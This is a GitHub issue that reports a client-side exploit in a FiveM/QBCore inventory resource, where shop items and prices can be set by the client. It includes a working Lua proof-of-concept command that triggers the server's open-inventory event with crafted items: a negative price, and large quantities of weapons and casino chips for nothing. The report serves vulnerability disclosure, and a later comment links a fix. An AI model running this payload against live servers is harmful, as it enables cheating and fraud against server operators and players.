[BUG] Shop Exploit - Githubissues

draobrehtom commented 9 months ago

Summary

Client-side manipulation of shop inventory items and prices.

Reproduction

RegisterCommand('exploit', function()
    local shop = 'test'
    local ShopItems = {
        label = 'hack',
        items = {
            {name="water_bottle",amount=999999,price=-10000,slot=1},
            {name="weapon_vintagepistol",amount=999999,price=0,slot=2},
            {name="casinochips",amount=999999,price=0,slot=3},
        },
    }
    TriggerServerEvent("inventory:server:OpenInventory", "shop", "Itemshop_" .. shop, ShopItems)
end)

Expected behavior

I expected the shop inventory and item prices to be securely controlled and managed on the server-side to prevent any client-side manipulation or unauthorized access.

Actual behavior

Currently, the shop inventory and item prices are managed on the client-side, which allows for potential manipulation and unauthorized access by users.

Additional context

Last Updated

Today

Custom Resources

No

Resource Rename

No

github-actions[bot] commented 7 months ago

This issue has had 60 days of inactivity & will close within 7 days

draobrehtom commented 7 months ago

Possible hot-fix solution is https://github.com/qbcore-framework/qb-inventory/compare/main...draobrehtom:qb-inventory:main

github-actions[bot] commented 5 months ago